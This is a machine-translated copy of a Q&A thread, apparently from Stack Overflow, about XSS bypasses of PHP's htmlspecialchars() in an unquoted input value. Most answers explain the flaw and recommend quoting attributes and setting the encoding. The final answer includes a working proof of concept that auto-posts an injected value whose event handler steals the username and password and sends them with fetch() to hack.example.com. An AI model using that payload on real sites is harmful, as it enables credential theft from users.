关于php:XSS攻击以绕过value属性中的htmlspecialchars()函数

XSS attack to bypass htmlspecialchars() function in value attribute

假设我们有这种形式,并且用户可能注入恶意代码的部分如下所示:

1
2
3
4
...
<input type=text name=username value=
       <?php echo htmlspecialchars($_POST['username']); ?>>
...

我们不能简单地放置标签或javascript:alert();调用,因为value将被解释为字符串,并且htmlspecialchars过滤出<,>,\\',",所以我们不能用引号将其封闭。

我们可以使用String.fromCode(.....)来解决引号,但是我仍然无法弹出一个简单的警告框。

有什么想法吗?


此外,值得一提的是,允许人们将HTML或JavaScript注入您的页面(而不是您的数据源)本身并没有固有的安全风险。已经存在浏览器扩展,可用于修改网页上的DOM和脚本,但是由于它只是客户端,因此只有它们才知道。

XSS成为问题的地方是当人们a)使用它绕过客户端验证或输入筛选,或者b)人们使用它来操纵输入字段(例如,更改ACL中OPTION标记的值以授予权限)时他们不应该拥有的权限)。防止这些攻击的唯一方法是在服务器端对输入进行清理和验证,而不是对客户端验证进行补充或补充。

要清理输入中的HTML,除非要允许某些标签,否则htmlspecialchars完全足够,在这种情况下,您可以使用HTMLPurifier之类的库。如果要将用户输入放在HREF,ONCLICK或任何允许脚本编写的属性中,那么您只是在自找麻烦。

编辑:查看您的代码,好像您没有引用属性!那真是愚蠢。如果有人将用户名设置为:

1
john onclick="alert('hacking your megabits!1')"

然后您的脚本将解析为:

1
<input type=text name=username value=john onclick="alert('hacking your megabits!1')">

始终在属性周围使用引号。即使它们不是用户输入的,也要养成良好的习惯。

1
<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">


有一种方法。您没有传递第三个编码参数htmlspecialchars()或没有正确检查编码,因此:

1
2
3
4
5
$source = 'alert("xss")';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';

仅在以下情况下有效:a)将页面设置为输出UTF-7或b)欺骗页面执行此操作(例如,未设置清晰字符集的页面上的iframe)。解决方案是确保所有输入均使用正确的编码,并且在htmlspecialchars()上正确设置了预期的编码。

它是如何工作的?在UTF-7中,<>"字符与UTF-8 / ISO / ASCII具有不同的代码点,因此除非将输出转换为UTF-8以确保安全,否则它们不会被转义(请参见iconv扩展)。


value是常规的HTML属性,与Javascript无关。
因此,String.fromCharCode被解释为文字值,并且不执行。

为了注入脚本,首先需要强制解析器关闭属性,如果没有>'",这将很难做到。

您忘了在属性值两边加上引号,因此您只需要一个空格即可。

即使您引用该值,它也仍然很容易受到攻击;请参阅此页面。


有点类似于丹尼尔的答案,但是通过首先设置一个虚拟值,然后添加空格以放入脚本中来打破value=,该脚本直接由autofocus的技巧来运行,将输入字段设置为空白,然后添加一个提交函数,该函数在提交表单时运行,将用户名和密码泄漏到我选择的URL,从字符串原型创建不带引号的字符串(因为将对引号进行清理):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<body>

<script type="text/javascript">

function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}

redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});

您无法利用包含该函数的输入字段,但是可以通过以下方法利用其附近的任何btn或段落,标题或文本:
就像你可以在btn上添加它-> onclick = alert('Hello')